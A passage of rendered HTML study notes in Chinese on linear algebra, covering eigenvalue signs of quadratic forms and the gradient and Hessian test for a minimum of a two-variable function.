class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span></span></p></p><p>这样可以通过判断特征值的符号，来判断二次齐次函数是否正定、负定还是不定，从而来判断二次齐次函数的截面形状（<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>A</mi><mi>x</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> x^T A x  = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>）和几何形状：</p><ul><li><p>当所有特征值均为正时，表示一个椭圆（或椭球体）。</p></li><li><p>当所有特征值均为负时，表示一个椭圆（或椭球体），但方向相反。</p></li><li><p>当特征值有正有负时，表示一个双曲线（或双曲面）。</p></li></ul><p><img src="/images/linear-algebra/fxy_cut.png" alt="fxy_cut" /></p><p><s>和圆锥曲线的圆锥和截面有啥关系吗？</s></p><h2 id="多元函数判断极小值-test-for-a-minimum"><a class="markdownIt-Anchor" href="#多元函数判断极小值-test-for-a-minimum"></a> 多元函数判断极小值 Test for a Minimum</h2><p>对于一元函数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> f(x) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>，最低点的情况是一阶导为 0，二阶导大于 0。</p><p>对于二元函数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> f(x, y) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span>，当且仅当：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>x</mi></mrow></mfrac><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn><mo separator="true">,</mo><mspace width="1em"/><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>y</mi></mrow></mfrac><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\frac{\partial F}{\partial x}(x_0,y_0) = 0, \quad \frac{\partial F}{\partial y}(x_0,y_0) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal">x</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2519em;vertical-align:-0.8804em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>并且 Hessian 矩阵 (S) 正定，即：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>H</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><msup><mi>x</mi><mn>2</mn></msup></mrow></mfrac></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>x</mi><mi mathvariant="normal">∂</mi><mi>y</mi></mrow></mfrac></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>y</mi><mi mathvariant="normal">∂</mi><mi>x</mi></mrow></mfrac></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><msup><mi>y</mi><mn>2</mn></msup></mrow></mfrac></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">H = \begin{bmatrix} \frac{\partial^2 F}{\partial x^2} &amp; \frac{\partial^2 F}{\partial x \partial y} \\ \frac{\partial^2 F}{\partial y \partial x} &amp; \frac{\partial^2 F}{\partial y^2} \end{bmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.749em;"><span style="top:-3.749em;"><span class="pstrut" style="height:3.0179em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0179em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.0179em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0179em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight">x</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.249em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.749em;"><span style="top:-3.749em;"><span class="pstrut" style="height:3.0179em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0179em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight">x</span><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.0179em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0179em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.249em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size4">]</span></span></span></span></span></span></span></p><p>类比一元函数对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 进行求导，二元函数需要对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex"> y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 分别求偏导数（对某个参数求导时，将其他参数视为常数。</p><p>其中，梯度指的是多元函数在各个方向上的一阶偏导数组成的向量：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∇</mi><mi>F</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>x</mi></mrow></mfrac></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>y</mi></mrow></mfrac></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">\nabla F = \begin{bmatrix} \frac{\partial F}{\partial x} \\ \frac{\partial F}{\partial y} \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">∇</span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.6013em;vertical-align:-1.0507em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.5507em;"><span style="top:-3.6706em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight">x</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-2.4304em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.0507em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p><p>当梯度为 0 时，函数在该点处有极值。</p><p>二次函数的二阶导又需要在一阶导的基础上，继续对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex"> y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 分别求偏导数，得到四种情况：</p><ol><li><p>对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 求两次偏导数，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><msup><mi>x</mi><mn>2</mn></msup></mrow></mfrac></mrow><annotation encoding="application/x-tex"> \frac{\partial^2 F}{\partial x^2} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3629em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0179em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose 